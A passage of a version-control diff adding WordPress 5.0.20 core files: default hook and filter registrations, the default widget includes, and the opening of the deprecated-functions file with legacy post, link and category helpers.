+add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' );
+
+// If the upgrade hasn't run yet, assume link manager is used.
+add_filter( 'default_option_link_manager_enabled', '__return_true' );
+
+// This option no longer exists; tell plugins we always support auto-embedding.
+add_filter( 'pre_option_embed_autourls', '__return_true' );
+
+// Default settings for heartbeat
+add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' );
+
+// Check if the user is logged out
+add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
+add_filter( 'heartbeat_send',        'wp_auth_check' );
+add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' );
+
+// Default authentication filters
+add_filter( 'authenticate', 'wp_authenticate_username_password',  20, 3 );
+add_filter( 'authenticate', 'wp_authenticate_email_password',     20, 3 );
+add_filter( 'authenticate', 'wp_authenticate_spam_check',         99    );
+add_filter( 'determine_current_user', 'wp_validate_auth_cookie'          );
+add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 );
+
+// Split term updates.
+add_action( 'admin_init',        '_wp_check_for_scheduled_split_terms' );
+add_action( 'split_shared_term', '_wp_check_split_default_terms',  10, 4 );
+add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 );
+add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 );
+add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' );
+
+// Email notifications.
+add_action( 'comment_post', 'wp_new_comment_notify_moderator' );
+add_action( 'comment_post', 'wp_new_comment_notify_postauthor' );
+add_action( 'after_password_reset', 'wp_password_change_notification' );
+add_action( 'register_new_user',      'wp_send_new_user_notifications' );
+add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 );
+
+// REST API actions.
+add_action( 'init',          'rest_api_init' );
+add_action( 'rest_api_init', 'rest_api_default_filters',   10, 1 );
+add_action( 'rest_api_init', 'register_initial_settings',  10 );
+add_action( 'rest_api_init', 'create_initial_rest_routes', 99 );
+add_action( 'parse_request', 'rest_api_loaded' );
+
+/**
+ * Filters formerly mixed into wp-includes
+ */
+// Theme
+add_action( 'wp_loaded', '_custom_header_background_just_in_time' );
+add_action( 'wp_head', '_custom_logo_header_styles' );
+add_action( 'plugins_loaded', '_wp_customize_include' );
+add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 );
+add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' );
+add_action( 'delete_attachment', '_delete_attachment_theme_mod' );
+add_action( 'transition_post_status', '_wp_keep_alive_customize_changeset_dependent_auto_drafts', 20, 3 );
+
+// Calendar widget cache
+add_action( 'save_post', 'delete_get_calendar_cache' );
+add_action( 'delete_post', 'delete_get_calendar_cache' );
+add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' );
+add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' );
+
+// Author
+add_action( 'transition_post_status', '__clear_multi_author_cache' );
+
+// Post
+add_action( 'init', 'create_initial_post_types', 0 ); // highest priority
+add_action( 'admin_menu', '_add_post_type_submenus' );
+add_action( 'before_delete_post', '_reset_front_page_settings_for_post' );
+add_action( 'wp_trash_post',      '_reset_front_page_settings_for_post' );
+add_action( 'change_locale', 'create_initial_post_types' );
+
+// Post Formats
+add_filter( 'request', '_post_format_request' );
+add_filter( 'term_link', '_post_format_link', 10, 3 );
+add_filter( 'get_post_format', '_post_format_get_term' );
+add_filter( 'get_terms', '_post_format_get_terms', 10, 3 );
+add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' );
+
+// KSES
+add_action( 'init', 'kses_init' );
+add_action( 'set_current_user', 'kses_init' );
+
+// Script Loader
+add_action( 'wp_default_scripts', 'wp_default_scripts' );
+add_action( 'wp_default_scripts', 'wp_default_packages' );
+
+add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 );
+add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 );
+add_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );
+add_action( 'admin_enqueue_scripts', 'wp_common_block_scripts_and_styles' );
+add_action( 'enqueue_block_assets', 'wp_enqueue_registered_block_scripts_and_styles' );
+add_action( 'enqueue_block_editor_assets', 'wp_enqueue_registered_block_scripts_and_styles' );
+add_action( 'admin_print_scripts-index.php', 'wp_localize_community_events' );
+add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' );
+add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' );
+add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 );
+
+add_action( 'wp_default_styles', 'wp_default_styles' );
+add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 );
+
+// Taxonomy
+add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority
+add_action( 'change_locale', 'create_initial_taxonomies' );
+
+// Canonical
+add_action( 'template_redirect', 'redirect_canonical' );
+add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 );
+
+// Shortcodes
+add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop()
+
+// Media
+add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' );
+add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' );
+
+// Nav menu
+add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 );
+
+// Widgets
+add_action( 'init', 'wp_widgets_init', 1 );
+
+// Admin Bar
+// Don't remove. Wrong way to disable.
+add_action( 'template_redirect', '_wp_admin_bar_init', 0 );
+add_action( 'admin_init', '_wp_admin_bar_init' );
+add_action( 'before_signup_header', '_wp_admin_bar_init' );
+add_action( 'activate_header', '_wp_admin_bar_init' );
+add_action( 'wp_footer', 'wp_admin_bar_render', 1000 );
+add_action( 'in_admin_header', 'wp_admin_bar_render', 0 );
+
+// Former admin filters that can also be hooked on the front end
+add_action( 'media_buttons', 'media_buttons' );
+add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 );
+add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 );
+
+// Embeds
+add_action( 'rest_api_init',          'wp_oembed_register_route'              );
+add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 );
+
+add_action( 'wp_head',                'wp_oembed_add_discovery_links'         );
+add_action( 'wp_head',                'wp_oembed_add_host_js'                 );
+
+add_action( 'embed_head',             'enqueue_embed_scripts',           1    );
+add_action( 'embed_head',             'print_emoji_detection_script'          );
+add_action( 'embed_head',             'print_embed_styles'                    );
+add_action( 'embed_head',             'wp_print_head_scripts',          20    );
+add_action( 'embed_head',             'wp_print_styles',                20    );
+add_action( 'embed_head',             'wp_no_robots'                          );
+add_action( 'embed_head',             'rel_canonical'                         );
+add_action( 'embed_head',             'locale_stylesheet',              30    );
+
+add_action( 'embed_content_meta',     'print_embed_comments_button'           );
+add_action( 'embed_content_meta',     'print_embed_sharing_button'            );
+
+add_action( 'embed_footer',           'print_embed_sharing_dialog'            );
+add_action( 'embed_footer',           'print_embed_scripts'                   );
+add_action( 'embed_footer',           'wp_print_footer_scripts',        20    );
+
+add_filter( 'excerpt_more',           'wp_embed_excerpt_more',          20    );
+add_filter( 'the_excerpt_embed',      'wptexturize'                           );
+add_filter( 'the_excerpt_embed',      'convert_chars'                         );
+add_filter( 'the_excerpt_embed',      'wpautop'                               );
+add_filter( 'the_excerpt_embed',      'shortcode_unautop'                     );
+add_filter( 'the_excerpt_embed',      'wp_embed_excerpt_attachment'           );
+
+add_filter( 'oembed_dataparse',       'wp_filter_oembed_result',        10, 3 );
+add_filter( 'oembed_response_data',   'get_oembed_response_data_rich',  10, 4 );
+add_filter( 'pre_oembed_result',      'wp_filter_pre_oembed_result',    10, 3 );
+
+// Capabilities
+add_filter( 'user_has_cap', 'wp_maybe_grant_install_languages_cap', 1 );
+
+unset( $filter, $action );
Index: /tags/5.0.20/src/wp-includes/default-widgets.php
===================================================================
--- /tags/5.0.20/src/wp-includes/default-widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/default-widgets.php	(revision 56912)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * Widget API: Default core widgets
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.8.0
+ */
+
+/** WP_Widget_Pages class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-pages.php' );
+
+/** WP_Widget_Links class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-links.php' );
+
+/** WP_Widget_Search class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-search.php' );
+
+/** WP_Widget_Archives class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-archives.php' );
+
+/** WP_Widget_Media class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-media.php' );
+
+/** WP_Widget_Media_Audio class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-media-audio.php' );
+
+/** WP_Widget_Media_Image class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-media-image.php' );
+
+/** WP_Widget_Media_Video class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-media-video.php' );
+
+/** WP_Widget_Media_Gallery class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-media-gallery.php' );
+
+/** WP_Widget_Meta class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-meta.php' );
+
+/** WP_Widget_Calendar class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-calendar.php' );
+
+/** WP_Widget_Text class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-text.php' );
+
+/** WP_Widget_Categories class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-categories.php' );
+
+/** WP_Widget_Recent_Posts class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-recent-posts.php' );
+
+/** WP_Widget_Recent_Comments class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-recent-comments.php' );
+
+/** WP_Widget_RSS class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-rss.php' );
+
+/** WP_Widget_Tag_Cloud class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-tag-cloud.php' );
+
+/** WP_Nav_Menu_Widget class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-nav-menu-widget.php' );
+
+/** WP_Widget_Custom_HTML class */
+require_once( ABSPATH . WPINC . '/widgets/class-wp-widget-custom-html.php' );
Index: /tags/5.0.20/src/wp-includes/deprecated.php
===================================================================
--- /tags/5.0.20/src/wp-includes/deprecated.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/deprecated.php	(revision 56912)
@@ -0,0 +1,3972 @@
+<?php
+/**
+ * Deprecated functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be
+ * removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * Retrieves all post data for a given post.
+ *
+ * @since 0.71
+ * @deprecated 1.5.1 Use get_post()
+ * @see get_post()
+ *
+ * @param int $postid Post ID.
+ * @return array Post data.
+ */
+function get_postdata($postid) {
+	_deprecated_function( __FUNCTION__, '1.5.1', 'get_post()' );
+
+	$post = get_post($postid);
+
+	$postdata = array (
+		'ID' => $post->ID,
+		'Author_ID' => $post->post_author,
+		'Date' => $post->post_date,
+		'Content' => $post->post_content,
+		'Excerpt' => $post->post_excerpt,
+		'Title' => $post->post_title,
+		'Category' => $post->post_category,
+		'post_status' => $post->post_status,
+		'comment_status' => $post->comment_status,
+		'ping_status' => $post->ping_status,
+		'post_password' => $post->post_password,
+		'to_ping' => $post->to_ping,
+		'pinged' => $post->pinged,
+		'post_type' => $post->post_type,
+		'post_name' => $post->post_name
+	);
+
+	return $postdata;
+}
+
+/**
+ * Sets up the WordPress Loop.
+ *
+ * Use The Loop instead.
+ *
+ * @link https://codex.wordpress.org/The_Loop
+ *
+ * @since 1.0.1
+ * @deprecated 1.5.0
+ */
+function start_wp() {
+	global $wp_query;
+
+	_deprecated_function( __FUNCTION__, '1.5.0', __('new WordPress Loop') );
+
+	// Since the old style loop is being used, advance the query iterator here.
+	$wp_query->next_post();
+
+	setup_postdata( get_post() );
+}
+
+/**
+ * Returns or prints a category ID.
+ *
+ * @since 0.71
+ * @deprecated 0.71 Use get_the_category()
+ * @see get_the_category()
+ *
+ * @param bool $echo Optional. Whether to echo the output. Default true.
+ * @return int Category ID.
+ */
+function the_category_ID($echo = true) {
+	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category()' );
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$cat = $categories[0]->term_id;
+
+	if ( $echo )
+		echo $cat;
+
+	return $cat;
+}
+
+/**
+ * Prints a category with optional text before and after.
+ *
+ * @since 0.71
+ * @deprecated 0.71 Use get_the_category_by_ID()
+ * @see get_the_category_by_ID()
+ *
+ * @param string $before Optional. Text to display before the category. Default empty.
+ * @param string $after  Optional. Text to display after the category. Default empty.
+ */
+function the_category_head( $before = '', $after = '' ) {
+	global $currentcat, $previouscat;
+
+	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category_by_ID()' );
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$currentcat = $categories[0]->category_id;
+	if ( $currentcat != $previouscat ) {
+		echo $before;
+		echo get_the_category_by_ID($currentcat);
+		echo $after;
+		$previouscat = $currentcat;
+	}
+}
+
+/**
+ * Prints a link to the previous post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use previous_post_link()
+ * @see previous_post_link()
+ *
+ * @param string $format
+ * @param string $previous
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int    $limitprev
+ * @param string $excluded_categories
+ */
+function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') {
+
+	_deprecated_function( __FUNCTION__, '2.0.0', 'previous_post_link()' );
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_previous_post($in_same_cat, $excluded_categories);
+
+	if ( !$post )
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$previous;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $post->ID);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Prints link to the next post.
+ *
+ * @since 0.71
+ * @deprecated 2.0.0 Use next_post_link()
+ * @see next_post_link()
+ *
+ * @param string $format
+ * @param string $next
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int $limitnext
+ * @param string $excluded_categories
+ */
+function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'next_post_link()' );
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_next_post($in_same_cat, $excluded_categories);
+
+	if ( !$post	)
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$next;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $post->ID);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level > 1);
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level >= 1);
+}
+
+/**
+ * Whether user can edit a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_edit_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	$post = get_post($post_id);
+	$post_author_data = get_userdata($post->post_author);
+
+	if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2))
+			 || ($author_data->user_level > $post_author_data->user_level)
+			 || ($author_data->user_level >= 10) ) {
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_delete_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	// right now if one can edit, one can delete
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can set new posts' dates.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's date
+ */
+function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's comments
+ */
+function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	// right now if one can edit a post, one can edit comments made on it
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can delete $post_id's comments
+ */
+function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	// right now if one can edit comments, one can delete comments
+	return user_can_edit_post_comments($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Can user can edit other user.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0 Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $other_user
+ * @return bool
+ */
+function user_can_edit_user($user_id, $other_user) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );
+
+	$user  = get_userdata($user_id);
+	$other = get_userdata($other_user);
+	if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID )
+		return true;
+	else
+		return false;
+}
+
+/**
+ * Gets the links associated with category $cat_name.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name Optional. The category name to use. If no match is found uses all.
+ * @param string $before Optional. The html to output before the link.
+ * @param string $after Optional. The html to output after the link.
+ * @param string $between Optional. The html to output between the link/image and its description. Not used if no image or $show_images is true.
+ * @param bool $show_images Optional. Whether to show images (if defined).
+ * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', 'description' or 'rating'. Or maybe owner.
+ *		If you start the name with an underscore the order will be reversed. You can also specify 'rand' as the order which will return links in a
+ *		random order.
+ * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating Optional. Show rating stars/chars.
+ * @param int $limit		Optional. Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Optional. Whether to show last updated timestamp
+ */
+function get_linksbyname($cat_name = "noname", $before = '', $after = '<br />', $between = " ", $show_images = true, $orderby = 'id',
+						 $show_description = true, $show_rating = false,
+						 $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with the named category.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $category The category to use.
+ * @param string $args
+ * @return string|null
+ */
+function wp_get_linksbyname($category, $args = '') {
+	_deprecated_function(__FUNCTION__, '2.1.0', 'wp_list_bookmarks()');
+
+	$defaults = array(
+		'after' => '<br />',
+		'before' => '',
+		'categorize' => 0,
+		'category_after' => '',
+		'category_before' => '',
+		'category_name' => $category,
+		'show_description' => 1,
+		'title_li' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	return wp_list_bookmarks($r);
+}
+
+/**
+ * Gets an array of link objects associated with category $cat_name.
+ *
+ *     $links = get_linkobjectsbyname( 'fred' );
+ *     foreach ( $links as $link ) {
+ *      	echo '<li>' . $link->link_name . '</li>';
+ *     }
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all.
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url', 'description', or 'rating'.
+ *		Or maybe owner. If you start the name with an underscore the order will be reversed. You can also
+ *		specify 'rand' as the order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return array
+ */
+function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	return get_linkobjects($cat_id, $orderby, $limit);
+}
+
+/**
+ * Gets an array of link objects associated with category n.
+ *
+ * Usage:
+ *
+ *     $links = get_linkobjects(1);
+ *     if ($links) {
+ *     	foreach ($links as $link) {
+ *     		echo '<li>'.$link->link_name.'<br />'.$link->link_description.'</li>';
+ *     	}
+ *     }
+ *
+ * Fields are:
+ *
+ * - link_id
+ * - link_url
+ * - link_name
+ * - link_image
+ * - link_target
+ * - link_category
+ * - link_description
+ * - link_visible
+ * - link_owner
+ * - link_rating
+ * - link_updated
+ * - link_rel
+ * - link_notes
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return array
+ */
+function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	$links = get_bookmarks( array( 'category' => $category, 'orderby' => $orderby, 'limit' => $limit ) ) ;
+
+	$links_array = array();
+	foreach ($links as $link)
+		$links_array[] = $link;
+
+	return $links_array;
+}
+
+/**
+ * Gets the links associated with category 'cat_name' and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and its description. Not used if no image or show_images is true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '<br />', $between = " ",
+									$show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with category n and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and its description. Not used if no image or show_images == true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_links_withrating($category = -1, $before = '', $after = '<br />', $between = " ", $show_images = true,
+							  $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the auto_toggle setting.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return int Only returns 0.
+ */
+function get_autotoggle($id = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0' );
+	return 0;
+}
+
+/**
+ * Lists categories.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $sort_column
+ * @param string $sort_order
+ * @param string $file
+ * @param bool $list
+ * @param int $optiondates
+ * @param int $optioncount
+ * @param int $hide_empty
+ * @param int $use_desc_for_title
+ * @param bool $children
+ * @param int $child_of
+ * @param int $categories
+ * @param int $recurse
+ * @param string $feed
+ * @param string $feed_image
+ * @param string $exclude
+ * @param bool $hierarchical
+ * @return false|null
+ */
+function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0,
+				   $optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0,
+				   $recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );
+
+	$query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children',
+		'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical');
+	return wp_list_cats($query);
+}
+
+/**
+ * Lists categories.
+ *
+ * @since 1.2.0
+ * @deprecated 2.1.0 Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param string|array $args
+ * @return false|null|string
+ */
+function wp_list_cats($args = '') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );
+
+	$r = wp_parse_args( $args );
+
+	// Map to new names.
+	if ( isset($r['optionall']) && isset($r['all']))
+		$r['show_option_all'] = $r['all'];
+	if ( isset($r['sort_column']) )
+		$r['orderby'] = $r['sort_column'];
+	if ( isset($r['sort_order']) )
+		$r['order'] = $r['sort_order'];
+	if ( isset($r['optiondates']) )
+		$r['show_last_update'] = $r['optiondates'];
+	if ( isset($r['optioncount']) )
+		$r['show_count'] = $r['optioncount'];
+	if ( isset($r['list']) )
+		$r['style'] = $r['list'] ? 'list' : 'break';
+	$r['title_li'] = '';
+
+	return wp_list_categories($r);
+}
+
+/**
+ * Deprecated method for generating a drop-down of categories.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use wp_dropdown_categories()
+ * @see wp_dropdown_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $orderby
+ * @param string $order
+ * @param int $show_last_update
+ * @param int $show_count
+ * @param int $hide_empty
+ * @param bool $optionnone
+ * @param int $selected
+ * @param int $exclude
+ * @return string
+ */
